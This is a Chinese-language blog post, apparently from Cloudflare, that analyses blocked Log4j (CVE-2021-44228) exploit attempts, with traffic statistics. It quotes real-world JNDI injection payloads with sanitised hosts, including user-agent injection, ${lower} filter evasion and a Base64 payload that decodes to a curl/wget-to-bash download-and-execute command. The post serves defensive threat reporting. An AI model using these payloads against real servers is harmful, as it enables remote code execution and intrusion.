我在之前写过如何缓解 Log4j 中的 CVE-2021-44228,该漏洞是如何产生,以及 Cloudflare 为我们的客户提供的缓解措施。在我写作本文时,鉴于该漏洞的严重性,我们同时还在推出针对我们的免费客户的保护。
现在我们有了关于扫描并企图利用该漏洞的小时数据,我们就可以开始考察一下自然环境中使用的实际有效负载以及统计数据。我们先来看一下 Cloudflare 通过我们的 WAF 阻止的请求。
我们看到今天上午(此处的时间为协调世界时 (UTC))阻止的攻击数量缓慢上升,最大峰值大约为 1800(每分钟阻止的漏洞利用请求数大约为 20,000)。但扫描过程全天一直在持续。我们预期这种情况会继续。
我们还查看了 WAF 阻止的 IP 地址数。看起来在任何给定时间活跃扫描了大约 200 到 400 个 IP。
到目前为止,最大数量的扫描或漏洞利用企图来自加拿大,其次是美国。
大量被阻止的请求看起来采用了侦察的形式,以确定服务器是否实际上可被利用。主要的被阻止漏洞利用字符串如下(自始至终,我都清理了域名和 IP 地址):
${jndi:ldap://x.x.x.x/#Touch}
这看起来是在 x.x.x.x(这无疑被入侵者控制)访问服务器并记录某个互联网属性可被利用的简单方法。上述字符串并没有给入侵者透露多少信息。热门程度排第二的请求包含了以下内容:
Mozilla/5.0 ${jndi:ldap://x.x.x.x:5555/ExploitD}/ua
这出现在请求的 User-Agent 字段中。请注意,在 URI 末尾是 /ua。这无疑为入侵者提供了线索,表示可在 User-Agent 中利用漏洞。
另一个令人关注的有效负载显示,入侵者详述了可行的格式(在这种情况下是对端口 443 的非加密请求,并且入侵者在试图使用 http://):
${jndi:http://x.x.x.x/callback/https-port-443-and-http-callback-scheme}
有人试图假装 Googlebot,并包括了一些额外信息。
Googlebot/2.1 (+http://www.google.com/bot.html)${jndi:ldap://x.x.x.x:80/Log4jRCE}
在以下情况下,入侵者访问了公共 Cloudflare IP,并在漏洞利用有效负载中对该 IP 地址进行了编码。这样一来,入侵者就可以扫描许多 IP,并找出哪些容易受到攻击。
${jndi:ldap://enq0u7nftpr.m.example.com:80/cf-198-41-223-33.cloudflare.com.gu}
该方案的一种变体是在漏洞利用有效负载中包括受攻击网站的名称。
${jndi:ldap://www.blogs.example.com.gu.c1me2000ssggnaro4eyyb.example.com/www.blogs.example.com}
一些入侵者未使用 LDAP,而是采用了 DNS。但是,LDAP 比其他协议常用得多。
${jndi:dns://aeutbj.example.com/ext}
一个令人关注的扫描涉及使用 Java 和标准 Linux 命令行工具。有效负载如下所示:
${jndi:ldap://x.x.x.x:12344/Basic/Command/Base64/KGN1cmwgLXMgeC54LngueDo1ODc0L3kueS55Lnk6NDQzfHx3Z2V0IC1xIC1PLSB4LngueC54OjU4NzQveS55LnkueTo0NDMpfGJhc2g=}
Base64 编码部分解码为 curl,并通过 wget 传输到 bash 中。
(curl -s x.x.x.x:5874/y.y.y.y:443||wget -q -O- x.x.x.x:5874/y.y.y.y:443)|bash
请注意,curl/wget 的输出不是必需的,因此这只是访问服务器以向入侵者指示漏洞利用行得通。
最后,我们看到有人很积极地企图使用 Log4j 的其他功能来逃避对 ${jndi:ldap 之类的字符串的简化阻止。例如,常见的逃避方法似乎是使用 ${lower} 功能(用于将字符变为小写),如下所示:
${jndi:${lower:l}${lower:d}a${lower:p}://example.com/x
此时,看起来有大量侦察活动在进行。全世界善意和不良的入侵者都在扫描有漏洞的服务器。最终,其中一些侦察活动会转变为对服务器和公司的实际渗透。此外,由于日志记录深度嵌入前端和后端系统中,某些侦察活动在几小时或几天内都不易被察觉。
就像孢子在地下悄无声息地生长,某些侦察活动会破土而出,暴露于阳光之下。
随着漏洞利用企图不断演化,Cloudflare 的安全团队也在不断找对策,并将根据需要更新 WAF 和防火墙规则。